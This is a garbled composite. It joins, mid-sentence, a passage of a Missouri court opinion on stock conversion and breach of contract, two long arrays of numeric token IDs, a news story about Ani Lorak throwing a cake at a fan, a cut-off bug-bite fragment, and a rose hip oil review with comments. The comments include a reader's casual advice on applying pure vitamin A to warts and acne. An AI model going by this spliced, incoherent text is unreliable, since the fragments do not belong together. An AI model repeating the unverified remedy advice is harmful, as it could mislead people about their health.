submissible case on breach of contract. Plaintiff's instruction No. II proceeded upon the theory he was the "absolute owner" of the stock involved, and he stresses Williams v. Everett, Mo.Sup., 200 S.W. 1045, 1049[1-10], for submitting a recovery on conversion. The petition in the Williams' case was in one count, sounding in conversion. In that case the Articles of Incorporation named Williams as the owner of 150 shares of the corporate stock, and were signed by him and the other incorporators. The court stated, 200 S.W. loc. cit. 1050, the Articles of Incorporation 663 "constituted the legal title of each [incorporator] to the number of shares stated * ." And: "The contract of incorporation is tripartite, the stockholders agreeing between themselves as to their interests * ." Williams had the legal title to the shares involved. The action of trover, or trover and conversion, seeks as damages the value of specific personal property of plaintiff which has been converted by defendant to his own use. To maintain trover, it has been considered that plaintiff must have title to, or a right of property in and a right to the immediate possession of, the stock at the time of conversion, and "`there must be an invasion of a legal, as contradistinguished from an equitable right.'" 11 Fletcher, Private Corporations, p. 149, § 5114, nn. 97, 98; Rosencranz v. Swofford Bros. Dry Goods Co., 175 Mo. 518, 529, 75 S.W. 445, 448, 97 Am. St.Rep. 609. "An equitable title or right will not suffice for the maintenance of trover, or at least it alone is not sufficient." 65 C.J. 60, § 94, nn. 26, 27. See also 53 Am.Jur. 869, § 73, n. 10; Newman v. Mercantile Trust Co., 189 Mo. 423, 445(2), 88 S.W. 6, 11(2); Wilkinson v. Misner, 158 Mo.App. 551, 555, 138 S.W. 931, 932; Luhmann v. Schaefer, Mo.App., 142 S.W. 2d 1088, 1090. There is no showing of record that plaintiff ever held legal title to 150 shares of defendant corporation stock; and Williams v. Everett, supra, does not establish error in connection with the ruling on the motion for new trial with respect to the count for conversion. Plaintiff states his instruction predicating a recovery for a breach of contract properly declared the law, citing Williams v. Everett, supra, and 11 Fletcher, Private Corporations, 338, § 5165, nn. 78-80, and 162, § 5117. Williams v. Everett was for conversion, as above stated, and did not rule an instruction submitting a breach of contract. The text references in Fletcher are to the effect that one having title to stock may sue in conversion and discuss his measure of damages, respectively. These authorities do not disclose that the court erred in awarding a new trial for the giving of plaintiff's said instruction. The instruction submitted many facts. It began by following the second count of the petition in requiring a finding that plaintiff and defendant entered into a contract for plaintiff's services; that plaintiff performed and rendered "valuable services" to defendant; that defendant notified plaintiff 150 shares of stock was being assigned to him; that plaintiff was later discharged "without reasonable cause"; that certain additional facts of an evidentiary nature occurred, such as the payment to plaintiff of a dividend of $750, "being a 5% dividend on said stock," the "said dividend was duly declared," the reporting of said dividend to the United States and the State of Missouri, "and that said payment was a dividend on said stock paid by the defendant to plaintiff as a stockholder, then you may find that plaintiff is entitled to recover the value of the stock" et cetera. Instead of following the count for a breach of contract with the allegations pertaining to a conversion deleted therefrom, the instruction commingled a claim in contract with one in conversion. It assumed the alleged dividend was paid to plaintiff "as a stockholder." Reading the verdict in light of the instructions on the separate counts, the verdict appears to be inconsistent in that on the conversion count the jury found plaintiff was not the owner of the stock while under the wording of the instruction on the breach of contract count the jury considered plaintiff was the owner of the stock. Shaw v. Richards, 208 Mo.App. 671, 236 S.W. 405, 406[1]; East St. Louis Cotton Oil Co. v. Skinner Bros. Mfg. Co., 8 Cir., 249 F. 439, 441[1]. Consult 28 C.J.S., Election of Remedies, § 5, page 1069; 18 Am.Jur. 161, § 44; 11 Fletcher, Private Corporations, 339, § 5165, n. 83; 1 C.J.S., Actions, § 51, note 28, page 1147. An essential element of plaintiff's claim for a breach of contract was that, when defendant notified plaintiff 150 shares of stock was being assigned to him, such action was the making of defendant's theretofore indefinite promise a definite and certain 664 promise under the contract. The finding of this fact should be required in plain language. Instructions should not assume or impliedly assume the existence of disputed essential facts. Glaser v. Rothschild, 221 Mo. 180, 203(I), 120 S.W. 1, 8, 9, 22 L.R.A.,N.S., 1045; Taylor v. Kansas City,
[ 15221, 387, 271, 717, 11303, 7989, 846, 344, 16780, 327, 3924, 285, 3407, 35945, 285, 15729, 3390, 617, 15, 187, 187, 42399, 24647, 4177, 743, 74, 32203, 518, 369, 1146, 3559, 342, 271, 5722, 672, 253, 5086, 7989, 8423, 16470, 617, 428, 285, 5082, 626, 1339, 564, 15, 187, 187, 510, 21472, 14029, 4694, 25620, 14, 484, 6376, 30405, 387, 806, 13, 533, 672, 253, 7989, 5082, 626, 1339, 285, 3407, 35945, 617, 1133, 703, 3199, 14050, 15, 187, 187, 10759, 3988, 2285, 20906, 3579, 281, 46270, 253, 4996, 32656, 13, 533, 253, 5389, 6480, 14, 2913, 14, 744, 574, 2168, 4425, 281, 1379, 8213, 715, 617, 1211, 3564, 15, 187, 187, 9, 6586, 27, 330, 1400, 10, 313, 6586, 27, 330, 1400, 10, 187, 187, 2993, 16470, 247, 15221, 12200, 617, 285, 13222, 352, 387, 253, 30539, 428, 533, 352, 816, 9829, 779, 15, 187, 187, 510, 15221, 17735, 327, 253, 5254, 273, 253, 353, 7958, 5579, 5048, 11803, 835, 247, 10402, 497, 32539, 247, 1384, 14, 11964, 7315, 39097, 347, 629, 273, 247, 1924, 14, 22071, 3177, 15, 187, 187, 18978, 13, 767, 3988, 17269, 16470, 2186, 273, 253, 2872, 7989, 13, 665, 369, 14186, 512, 275, 2806, 285, 9398, 247, 25818, 5025, 7856, 13, 285, 2335, 779, 1977, 15, 187, 187, 9, 6586, 27, 330, 1400, 10, 187, 187, 510, 7119, 858, 417, 2818, 253, 2323, 273, 253, 1924, 12246, 285, 253, 39097, 556, 2668, 697, 1659, 275, 253, 7247, 3872, 1984, 273, 5861, 15, 187, 187, 45, 263, 518, 310, 247, 1684, 16057, 13, 4498, 16360, 13, 20453, 13, 23721, 13, 285, 3438, 7379, 7088, 9846, 34358, 665, 556, 644, 11106, 347, 581, 273, 253, 954, 6422, 285, 20803, 2255, 275, 17111, 15, 187, 187, 2993, 6607, 617, 2586, 387, 253, 4695, 14029, 4694, 16865, 46911, 342, 253, 4498, 1608, 5102, 12688, 285, 2210, 275, 1273, 3212, 399, 8032, 34445, 266, 432, 7422, 15, 1147, 457, 84, 326, 673, 273, 807, 969, 15, 14538, 2097, 7505, 38829, 15, 5595, 7505, 38829, 403, 417, 4092, 15, 380, 954, 1846, 7505, 38829, 1705, 432, 29015, 13, 369, 793, 13, 285, 15039, 371, 21040, 15, 15405, 1846, 7505, 38829, 2486, 7771, 284, 13, 48037, 13, 285, 39064, 15, 329, 7505, 18470, 1537, 352, 348, 13, 38278, 13, 41153, 18658, 27, 24986, 1405, 66, 12447, 45469, 17226, 187, 187, 44, 375, 1405, 66, 310, 271, 9943, 1629, 1763, 609, 7138, 326, 457, 84, 1335, 9633, 285, 1408, 407, 271, 9943, 2021, 15, 309, 1053, 457, 85, 871, 253, 2644, 2926, 273, 849, 9461, 13290, 4166, 1694, 594, 4633, 13, 533, 24986, 1405, 66, 12447, 45469, 17226, 310, 253, 760, 581, 326, 3916, 281, 320, 253, 3236, 9461, 13290, 4166, 13, 594, 309, 457, 69, 1379, 616, 3159, 323, 352, 49042, 220, 187, 187, 31137, 954, 643, 9461, 13290, 24201, 13, 24986, 1405, 66, 9461, 13290, 4166, 3548, 457, 85, 3684, 2448, 1108, 352, 457, 84, 47344, 432, 18065, 8708, 13, 1133, 14, 81, 14050, 9461, 16458, 432, 12029, 837, 80, 275, 7531, 13, 534, 8525, 253, 1980, 3114, 15, 380, 4166, 310, 10375, 432, 253, 2644, 9461, 13290, 313, 24270, 13, 4808, 13, 285, 9279, 10, 970, 247, 2221, 26717, 6392, 19, 1232, 534, 2506, 457, 85, 2430, 12220, 13, 534, 2097, 2080, 1679, 273, 253, 17631, 23491, 275, 253, 4166, 403, 11069, 1309, 5162, 15, 187, 187, 9, 34, 457, 5914, 12447, 45469, 17226, 13, 534, 309, 9814, 4321, 13, 671, 4648, 247, 2221, 26717, 6392, 19, 11998, 1232, 13, 533, 342, 22755, 266, 9461, 29434, 13, 285, 253, 12922, 760, 15, 496, 581, 1263, 13, 4166, 432, 2644, 9461, 13290, 9279, 369, 1119, 281, 452, 247, 2169, 24402, 41064, 313, 34490, 4988, 329, 10, 285, 281, 21592, 248, 1102, 313, 34490, 4988, 444, 10, 4719, 15, 309, 452, 642, 2934, 1880, 24986, 1405, 66, 12447, 45469, 17226, 556, 247, 2169, 20118, 2600, 13, 390, 1880, 436, 1543, 275, 271, 24802, 3064, 672, 908, 327, 4808, 2698, 187, 187, 6300, 751, 329, 457, 5914, 12447, 45469, 17226, 13, 436, 19360, 4541, 313, 28489, 247, 10058, 2372, 31124, 10, 285, 556, 1669, 619, 4808, 2590, 285, 33055, 15, 24986, 1405, 66, 457, 84, 313, 1274, 10, 310, 5777, 28170, 685, 329, 457, 5914, 457, 84, 313, 918, 582, 533, 6747, 2789, 619, 4808, 4366, 1598, 1027, 275, 10688, 672, 32089, 275, 2866, 4931, 604, 368, 457, 250, 16088, 3168, 368, 1537, 923, 247, 3064, 32, 187, 187, 44, 375, 1405, 66, 4166, 34247, 5777, 10046, 685, 329, 457, 5914, 4166, 13, 533, 253, 26710, 34654, 846, 247, 7017, 15, 309, 1053, 457, 85, 1089, 352, 28637, 313, 11258, 273, 1364, 90, 582, 285, 352, 457, 84, 4354, 6107, 598, 2378, 309, 1691, 619, 14241, 321, 9141, 327, 689, 352, 15, 187, 187, 42, 476, 457, 85, 1663, 2028, 253, 3064, 875, 253, 767, 275, 2426, 273, 616, 1055, 327, 619, 4808, 1108, 849, 513, 368, 2028, 253, 3064, 875, 7846, 13802, 285, 14911, 48150, 32, 309, 452, 2717, 533, 19916, 323, 1097, 841, 17739, 273, 12447, 45469, 17226, 1108, 512, 253, 269, 606, 343, 314, 305, 7849, 309, 858, 275, 253, 329, 457, 5914, 2278, 9696, 10384, 1060, 2, 187, 187, 6723, 627, 667, 643, 17739, 273, 12447, 45469, 17226, 368, 1158, 309, 943, 1611, 562, 32, 187, 187, 9, 13443, 2530, 407, 4653, 323, 8180, 13, 534, 858, 417, 2818, 619, 4743, 273, 352, 15, 24986, 1405, 66, 12447, 45469, 17226, 310, 2130, 275, 4236, 11214, 447, 285, 5119, 8302, 13, 390, 432, 616, 4422, 390, 643, 299, 14, 14694, 398, 15, 21077, 49, 29352, 5, 1348, 15, 2222, 323, 1384, 14141, 13, 29352, 5, 2031, 15, 2222, 323, 5976, 14141, 2698, 187, 187, 42, 457, 306, 644, 4579, 272, 9461, 13290, 4166, 4413, 285, 2820, 281, 789, 562, 253, 2234, 3910, 875, 512, 253, 24201, 1108, 690, 273, 731, 403, 3192, 247, 1223, 281, 755, 896, 281, 479, 2, 309, 1904, 457, 85, 27753, 353, 3288, 40, 3288, 574, 247, 9461, 13290, 4166, 13, 309, 457, 620, 4579, 731, 3517, 285, 2486, 731, 275, 247, 3790, 14, 484, 313, 36865, 2920, 10, 3517, 2, 187, 187, 2512, 403, 247, 2257, 273, 1679, 8214, 9461, 1456, 24201, 323, 7289, 15, 3166, 368, 1158, 326, 253, 4376, 3064, 313, 783, 8214, 4394, 403, 1633, 577, 89, 347, 1199, 10, 310, 4409, 352, 32, 3808, 671, 823, 4465, 14590, 444, 3966, 15, 1737, 310, 634, 4743, 273, 326, 32, 187, 187, 42, 457, 78, 417, 2119, 835, 368, 457, 250, 432, 1108, 275, 6976, 13, 11142, 9461, 1456, 4166, 3548, 457, 85, 47817, 347, 2080, 347, 309, 871, 15, 5595, 440, 709, 967, 313, 74, 15, 70, 15, 13735, 90, 13, 9461, 1456, 14, 3610, 3485, 10, 9461, 1456, 24201, 10375, 970, 4250, 14, 4924, 4870, 313, 32538, 14, 30813, 390, 6392, 19, 11998, 10, 403, 275, 253, 21077, 49, 370, 1010, 14, 1099, 591, 1384, 14, 1099, 14141, 4376, 2491, 313, 34, 457, 5914, 13, 24986, 1405, 66, 13, 322, 24421, 13, 1535, 38665, 481, 309, 457, 306, 4102, 1119, 562, 313, 13550, 15867, 273, 5767, 399, 40357, 1840, 10, 326, 353, 3288, 40, 3288, 671, 5580, 247, 5777, 20182, 581, 1108, 370, 805, 16, 938, 14141, 15, 309, 1158, 512, 273, 731, 452, 690, 3686, 273, 8708, 21612, 347, 973, 15, 187, 187, 510, 581, 2221, 14, 1962, 522, 9461, 13290, 4166, 309, 457, 306, 574, 2793, 342, 310, 581, 309, 6960, 3909, 1108, 3954, 36215, 9461, 13290, 4166, 13, 1633, 751, 370, 23, 16, 1229, 14141, 15, 733, 457, 84, 625, 22407, 313, 45883, 1417, 285, 7687, 454, 1417, 582, 534, 3936, 562, 247, 2257, 273, 253, 35347, 285, 643, 39436, 307, 11539, 15, 733, 1335, 556, 253, 14126, 9532, 2167, 15, 1893, 2080, 352, 11210, 457, 85, 644, 347, 3576, 13, 533, 309, 6468, 457, 85, 908, 352, 323, 247, 1048, 2217, 673, 281, 4385, 15, 309, 457, 306, 3735, 326, 690, 952, 665, 452, 39890, 3374, 342, 253, 440, 709, 967, 5017, 4510, 253, 773, 16437, 254, 668, 22407, 9461, 13290, 4166, 2167, 15, 187, 187, 37070, 1456, 4166, 2506, 457, 85, 3831, 1199, 14590, 444, 387, 512, 13, 594, 11280, 247, 9461, 1456, 4166, 342, 2879, 14590, 444, 310, 417, 3076, 1580, 14590, 444, 310, 247, 6474, 20118, 326, 417, 760, 5373, 4808, 533, 352, 671, 476, 1361, 9017, 253, 22826, 1495, 273, 253, 4166, 15, 1780, 1247, 4166, 24000, 253, 581, 326, 4428, 247, 2169, 2408, 273, 14590, 444, 10748, 15, 309, 1335, 4489, 6313, 9461, 1456, 4166, 327, 697, 1211, 13, 533, 2879, 14590, 444, 778, 320, 12912, 313, 20432, 604, 368, 897, 634, 4166, 7808, 285, 971, 352, 281, 320, 625, 6474, 481, 187, 187, 42, 457, 78, 417, 2119, 604, 352, 1057, 1580, 619, 4808, 310, 3965, 8862, 667, 1576, 432, 253, 11650, 3608, 49042, 238, 309, 476, 457, 85, 4366, 352, 327, 619, 4808, 13, 533, 352, 1537, 320, 247, 1895, 323, 14530, 952, 15, 1680, 253, 43462, 14590, 329, 3732, 3587, 327, 253, 2454, 32, 380, 8642, 281, 247, 14590, 329, 6814, 309, 476, 1089, 310, 1384, 14, 6914, 15649, 24402, 41064, 8393, 942, 305, 14, 18, 4908, 13, 7293, 327, 11998, 5853, 285, 2644, 9279, 4632, 15, 8357, 13, 534, 309, 5467, 310, 1698, 2429, 281, 4951, 43462, 14590, 329, 15, 187, 187, 25179, 309, 1620, 908, 352, 327, 619, 2454, 13, 816, 327, 619, 3564, 285, 9881, 13, 285, 352, 369, 6079, 39944, 329, 313, 1235, 6, 9840, 24402, 1751, 13, 2456, 6, 851, 16979, 5796, 2225, 366, 13, 390, 627, 39462, 10, 6804, 275, 2257, 279, 15, 380, 4166, 310, 247, 1027, 830, 313, 1221, 249, 311, 13, 690, 643, 26965, 9448, 1512, 32, 6706, 66, 1479, 10, 285, 310, 19360, 715, 634, 4808, 3809, 285, 368, 476, 46539, 432, 352, 8505, 1108, 594, 352, 3198, 281, 320, 275, 4080, 8322, 285, 309, 369, 1900, 9202, 281, 897, 352, 4951, 323, 667, 2180, 273, 673, 15, 309, 3686, 273, 4282, 849, 1199, 310, 275, 2710, 17739, 273, 9461, 1456, 4166, 285, 849, 2810, 281, 5312, 2308, 313, 263, 1840, 10, 253, 24198, 329, 313, 395, 444, 10, 310, 15, 187, 187, 42, 908, 352, 323, 247, 34950, 11, 326, 309, 1694, 432, 247, 10913, 32012, 309, 574, 313, 999, 1477, 987, 32, 7016, 2866, 22692, 236, 212, 2717, 2010, 4307, 327, 352, 323, 495, 19530, 12, 582, 533, 247, 2129, 285, 247, 2716, 273, 3961, 486, 12, 34490, 4988, 329, 16481, 3253, 598, 15, 309, 1694, 253, 2934, 281, 1611, 32323, 24198, 329, 846, 3515, 715, 247, 1263, 275, 253, 1457, 5854, 9109, 273, 13715, 327, 4808, 3374, 313, 24182, 259, 12863, 708, 15110, 10, 285, 32323, 39944, 329, 13, 534, 310, 247, 6494, 2069, 625, 9630, 273, 247, 2603, 685, 2622, 41536, 1981, 11026, 11126, 1065, 247, 36767, 36473, 327, 634, 2454, 11602, 3966, 481, 187, 187, 40942, 352, 457, 84, 8644, 323, 49656, 347, 973, 13, 533, 309, 6468, 457, 85, 3597, 352, 323, 326, 15, 1292, 13, 604, 368, 878, 271, 8945, 773, 91, 262, 3198, 281, 564, 1024, 11602, 6313, 39944, 329, 651, 3164, 755, 1543, 13463, 15, 187, 187, 42, 457, 78, 347, 14530, 347, 368, 476, 320, 285, 452, 574, 642, 7596, 342, 9461, 1456, 4166, 313, 34, 457, 5914, 7138, 10, 6890, 619, 4808, 3295, 387, 512, 13, 1014, 1691, 690, 327, 253, 22273, 285, 352, 1904, 457, 85, 1818, 521, 4808, 10541, 387, 512, 2057, 15, 26733, 1020, 5017, 15, 187, 187, 42, 457, 78, 14530, 285, 954, 9461, 1456, 24201, 751, 1535, 38665, 13, 322, 24421, 285, 6956, 462, 3288, 1053, 457, 85, 1818, 253, 10688, 273, 619, 4808, 2220, 2898, 13, 2299, 24986, 1405, 66, 9461, 1456, 4166, 1057, 823, 247, 2372, 273, 13735, 10688, 281, 634, 4808, 534, 476, 17996, 634, 12575, 5811, 604, 368, 4647, 1512, 1199, 390, 1053, 457, 85, 3343, 323, 352, 281, 15816, 594, 816, 320, 31798, 273, 326, 15, 733, 310, 247, 1175, 1885, 2167, 13, 751, 954, 643, 8708, 9461, 1456, 24201, 15, 187, 187, 2042, 368, 457, 250, 2819, 323, 1529, 6392, 19, 14, 2068, 14668, 4394, 326, 457, 84, 1097, 253, 8357, 4166, 285, 253, 9279, 4908, 27, 309, 476, 5583, 367, 2284, 10164, 982, 15, 27742, 835, 368, 3153, 13, 476, 789, 562, 20182, 32, 187, 187, 510, 45869, 2715, 309, 457, 306, 1119, 310 ]	cake at an amorous fan after he jumped on stage and began kissing and hugging her. Ukrainian star Ani Lorak was being presented with an award when the male fan suddenly grabbed her - and wouldn't let go. The stunning Eurovision runner-up remained polite at first, but when the fan wouldn't let and began kissing her hand she panicked. Her security team rushed forward to restrain the intruder, but the beautiful 38-year-old had already decided to take matters into her own hands. (Image: CEN) (Image: CEN) She grabbed a cake beside her and threw it at the attacker - but it just missed him. The cake landed on the floor of the Muz TV channel studio where a crew were filming a 20-hour television marathon as part of a record-breaking attempt. Meanwhile, two security guards grabbed hold of the young fan, who was dressed all in black and wearing a woollen hat, and took him away. (Image: CEN) The incident did not affect the success of the record bid and the marathon has taken its place in the Russian national book of records. Lorak is a pop singer, songwriter, actress, entrepreneur, and former UN Goodwill Ambassador who has been cited as one of the most powerful and influential women in Ukraine. She represented her country at the 2008 Eurovision Song Contest with the song Shady Lady and came in second behind Dima Bilan from Russia.It’s that time of year again. Summer means bug bites. Most bug bites are not serious. The most common bug bites come from bees, wasps, and mosquitos. Less common bug bites include fleas, spiders, and ticks. A bug bite might itch, sting, swellReview: Kosmea Rose Hip Oil Kosmea is an Australian skincare brand that’s still owned and run by an Australian family. I don’t know the whole story of how rose hip oil got so popular, but Kosmea Rose Hip Oil is the only one that claims to be the original rose hip oil, so I’d take their word for it 😉 Unlike most other rose hip oils, Kosmea rose hip oil isn’t South American – it’s sourced from certified organic, hand-picked rosehips from Lesotho in Africa, which supports the local community. The oil is extracted from the whole rose hip (seed, skin, and fruit) using a supercritical CO2 process which doesn’t require heating, which means far less of the unstable nutrients in the oil are destroyed during processing. (A’kin Rose Hip Oil, which I reviewed earlier, also uses a supercritical CO2 extraction process, but with Chilean rose hips, and the seeds only. In one study, oil from whole rose hip fruit was found to have a higher carotenoid (vitamin A) and tocopherol (vitamin E) concentration. I have no idea whether Kosmea Rose Hip Oil has a higher antioxidant content, or whether this results in an observable difference when used on skin.) Just like A’kin Rose Hip Oil, this absorbed quickly (maybe a tiny bit quicker) and has left my skin clear and glowing. Kosmea’s (left) is slightly darker than A’kin’s (right), but neither makes my skin noticeably different in colour when rubbed in… perhaps if you’re incredibly white you might see a difference? Kosmea oil smells slightly stronger than A’kin oil, but the scent disappears after a minute. I don’t find it unpleasant (kind of musty), and it’s easily covered up once I put my moisturiser on over it. I can’t really tell the difference between the two in terms of their effect on my skin – how do you tell the difference between astounding and breathtaking? I have nothing but praise for both these brands of Rose Hip Oil – all the fangirly gushing I did in the A’kin review equally applies here! Are there any other brands of Rose Hip Oil you think I should try out? (Product provided by PR for consideration, which did not affect my opinion of it. Kosmea Rose Hip Oil is available in selected pharmacies and David Jones, or from their website or other e-tailers. RRP AU$24.95 for 20 mL, AU$44.95 for 42 mL.) I’ve been emailing rose hip oil companies and trying to work out the key differences between all the oils – some of them are taking a while to get back to me! I didn’t realise MooGoo had a rose hip oil, I’ll email them soon and include them in a round-up (hopefully) soon! There are a lot of less expensive rosehip oils for sale. Do you think that the price difference (the expensive ones are something 4x as much) is worth it? Some also add extra vitamin E etc. What is your opinion of that? I’m not sure where you’re from – in Australia, cheap rosehip oil isn’t commonplace as far as I know. Most unrefined (i.e. orangey, rosehip-smelling) rosehip oils extracted using heat-free processes (cold-pressed or CO2 extraction) are in the RRP $15-25 per 20-25 mL price range (A’kin, Kosmea, Sukin, Trilogy). I’ve recently found out (courtesy of Miss Directions above) that MooGoo also sell a slightly cheaper one – $12/20 mL. I think all of them have some sort of organic certification as well. The one super-cheap rose hip oil I’ve had experience with is one I ordered online – Now Foods rose hip oil, something like $6/30 mL. It’s more refined (colourless and odourless), which takes out a lot of the vitamins and other micronutrients. It still has the fatty acids though. So far it hasn’t been as effective, but I haven’t used it for a long enough time to comment. I’ve heard that some people who have irritation issues with the unrefined stuff prefer the “cleaner” refined rose hip oil though. Rosehip oil doesn’t contain much vitamin E at all, so buying a rosehip oil with added vitamin E is not bad since vitamin E is a stable antioxidant that not only benefits skin but it also can help extend the shelf life of the oil. Argan oilbis the one that contains a higher amount of vitamin E naturally. I still buy pure rosehip oil on its own, but added vitamin E may be beneficial (especially if you use your oil slowly and want it to be more stable). I’m not sure if it does since my skin is pretty yellow anyways from the Asian genes 😛 I can’t notice it on my skin, but it might be a problem for pale people. Is the powdered vitamin A applied directly on the face? The closest to a vitamin A measurement I can find is 20-2000 ug carotenoid pigments g-1 extract, depending on extraction technique and whole fruit vs. seed, which I assume is low compared to straight powdered vitamin A. Actually I never used it on my face, just on my hands and fingers, and it was dry Vitamin A (50% beta carotene, 50% retinyl palmitate, or thereabouts) mixed in lotion. The oil is a different form (retinol, some other retinoids too? afaik) and is absorbed into your skin fast and you can overdose from it apparently – so it needs to be in measured amounts and I was always afraid to use it straight for any period of time. I sort of wonder how much is in various brands of rosehip oil and how close to daily levels (or above) the Vit A (and E) is. I used it for a wart* that I got from a hangnail I had (ewww right? sorry… 🙁 nothing else worked on it for 3mos+), but a week and a half of bandage+vitamin A cleared everything up. I got the idea to try topical Vit A after running into a study in the New England Journal of Medicine on skin issues (esp warts & cancers) and topical Vitamin A, which is a billion times more reliable of a source than normal googling yields (“put a banana peel on your face!” etc). Apparently it’s amazing for acne as well, but I haven’t tried it for that. But, if you need an emergency “zit needs to go now!” pure Vitamin A would probably get results overnight. I’m as pale as you can be and have had no trouble with rosehip oil (A’kin brand) changing my skin color at all, even put some on the boyfriend and it didn’t change his skin tone at all either. Wonderful stuff. I’m pale and most rosehip oils like Trilogy, Sukin and Moogoo don’t change the colour of my skin upon application, however Kosmea rosehip oil does add a bit of orange colour to your skin which can stain your pillows if you apply too much or don’t wait for it to absorb so just be cautious of that. It is a good product though, like most other organic rosehip oils. If you’re looking for another CO2-extracted ones that’s both the seed oil and the fruit extract: I can recommend Pai Organics. Depending where you live, can work out cheaper? The cheapest version I’ve found is
[ 271, 2761, 7094, 13955, 2133, 452, 644, 2529, 13, 347, 247, 4460, 4968, 323, 475, 249, 8427, 11, 3675, 38484, 1783, 1254, 35, 1671, 1656, 2053, 588, 320, 273, 1600, 323, 3081, 20407, 1783, 273, 16200, 4702, 273, 3625, 28796, 275, 253, 7026, 20566, 5893, 15, 187, 187, 18786, 187, 6428, 187, 187, 1231, 7568, 1060, 253, 30437, 273, 253, 35836, 26223, 347, 271, 475, 249, 8427, 11, 7645, 323, 253, 1783, 273, 19798, 8770, 273, 1966, 18258, 1341, 13, 1690, 19187, 20204, 432, 1966, 4408, 15, 4855, 6064, 6979, 273, 3153, 35836, 556, 285, 588, 2007, 10073, 275, 1805, 4685, 253, 6944, 6297, 273, 2923, 894, 11492, 285, 16200, 4702, 15, 2006, 3179, 1131, 273, 253, 1566, 985, 824, 347, 1175, 28092, 13, 3477, 10885, 13, 1698, 4815, 285, 5233, 1255, 403, 440, 1148, 4781, 1070, 407, 643, 50021, 16711, 285, 1056, 352, 247, 12532, 985, 323, 2852, 5164, 2175, 275, 3625, 28796, 15, 380, 11361, 273, 253, 12114, 14458, 1307, 10632, 35836, 26223, 1566, 812, 23395, 13503, 4232, 12114, 5056, 254, 1307, 10632, 18258, 3210, 13, 299, 15, 72, 15, 6521, 3210, 13, 285, 778, 320, 247, 9865, 285, 5919, 4968, 281, 7472, 4460, 9282, 8130, 323, 2923, 15, 187, 187, 24163, 6284, 3908, 187, 1702, 18669, 187, 187, 510, 4477, 11165, 326, 597, 452, 642, 11771, 6284, 15, 187, 187, 31649, 4479, 9021, 187, 27240, 187, 187, 25696, 46, 13, 401, 47370, 13, 18526, 13, 418, 3123, 13, 3437, 41, 13, 353, 4132, 285, 13874, 35, 858, 5661, 789, 285, 6518, 342, 4028, 253, 7714, 15, 13874, 35, 858, 2199, 7219, 285, 4159, 253, 7714, 15, 1876, 4477, 1239, 285, 7012, 253, 2457, 7714, 15, 187, 187, 7420, 14, 4387, 318, 2892, 187, 27240, 187, 187, 510, 638, 14, 4387, 318, 2892, 323, 436, 2929, 476, 320, 19197, 1060, 27, 187, 187, 29, 2413, 1358, 2700, 15, 4193, 14944, 25765, 15, 681, 16, 44389, 14, 1348, 2922, 16, 26, 16, 8196, 16, 3456, 16712, 31, 187, 187, 9227, 17724, 187, 17863, 187, 187, 5146, 14117, 1873, 337, 187, 187, 424, 38338, 30136, 12530, 30136, 273, 512, 4679, 1690, 18258, 11286, 569, 285, 25602, 273, 3625, 4502, 1341, 13, 1453, 7944, 13, 10643, 51, 284, 285, 10643, 51, 284, 53, 4161, 14, 5346, 1341, 13, 3643, 37675, 14, 52, 285, 3643, 37675, 14, 53, 1341, 13, 19710, 511, 10680, 4127, 1341, 285, 21690, 28796, 313, 2973, 251, 18371, 793, 481, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 374, 187, 187, 424, 22098, 51, 284, 1341, 12530, 495, 37, 14433, 273, 10643, 51, 284, 1341, 275, 253, 340, 16537, 387, 495, 69, 2059, 313, 938, 89, 28358, 481, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 495, 187, 187, 424, 53, 4161, 14, 5346, 4127, 10643, 51, 284, 1341, 12530, 495, 37, 14433, 273, 10643, 51, 284, 18785, 14, 5346, 4127, 1341, 275, 253, 22285, 35688, 387, 495, 69, 2059, 313, 938, 89, 28358, 481, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 577, 187, 187, 424, 4769, 47893, 6440, 273, 28567, 18785, 14, 5346, 4127, 10643, 51, 284, 1341, 12530, 41749, 27615, 337, 27, 6865, 47893, 6440, 313, 4427, 27, 337, 3665, 16, 15505, 10, 4645, 10643, 51, 284, 18785, 14, 5346, 1341, 534, 452, 35909, 253, 35836, 2133, 13, 452, 5600, 30510, 715, 253, 35244, 1177, 285, 452, 6769, 1025, 13392, 4375, 275, 253, 608, 1388, 1711, 23844, 15, 3808, 1341, 403, 7985, 275, 253, 2614, 5542, 5727, 2571, 452, 32792, 284, 456, 432, 253, 35244, 1177, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 608, 187, 187, 424, 56, 517, 13255, 475, 249, 7991, 11, 78, 15037, 6981, 5081, 3, 8658, 1506, 6981, 61, 2807, 12530, 11641, 14, 3169, 475, 249, 7991, 11, 78, 15037, 6981, 323, 3643, 37675, 14, 52, 285, 3643, 37675, 14, 53, 1341, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 721, 187, 187, 424, 45, 471, 273, 17351, 275, 502, 13807, 8011, 7448, 63, 10082, 1103, 12530, 10417, 673, 6440, 273, 1453, 6773, 285, 502, 13807, 8011, 7448, 63, 12306, 387, 495, 277, 18569, 313, 18, 277, 2059, 481, 380, 6440, 2722, 247, 1453, 6773, 342, 247, 18019, 2798, 285, 342, 7985, 19682, 2614, 1341, 15, 380, 1273, 629, 273, 253, 6440, 18303, 247, 502, 13807, 8011, 7448, 63, 12306, 342, 247, 18019, 2798, 15, 1621, 17351, 310, 24802, 275, 253, 10500, 6773, 28, 253, 2626, 629, 273, 253, 6440, 310, 247, 2169, 28358, 273, 247, 1453, 6773, 275, 253, 2170, 273, 253, 2614, 17546, 285, 8105, 13, 4645, 1341, 19682, 275, 253, 35244, 1177, 299, 15, 72, 15, 36112, 267, 17716, 13, 22285, 35688, 285, 734, 29429, 267, 12671, 15, 380, 1390, 629, 273, 253, 6440, 2722, 247, 2169, 28358, 273, 247, 502, 13807, 8011, 7448, 63, 12306, 275, 253, 1072, 2170, 273, 253, 2614, 17546, 347, 253, 1453, 15, 496, 4499, 281, 253, 1453, 35836, 13, 253, 502, 13807, 8011, 7448, 63, 12306, 1057, 417, 7081, 247, 5164, 11172, 985, 285, 2722, 642, 861, 273, 17351, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 818, 187, 187, 424, 2302, 19798, 8770, 273, 28567, 18258, 1341, 275, 502, 13807, 10500, 19019, 12530, 3643, 37675, 14, 53, 1341, 13945, 715, 1453, 285, 502, 13807, 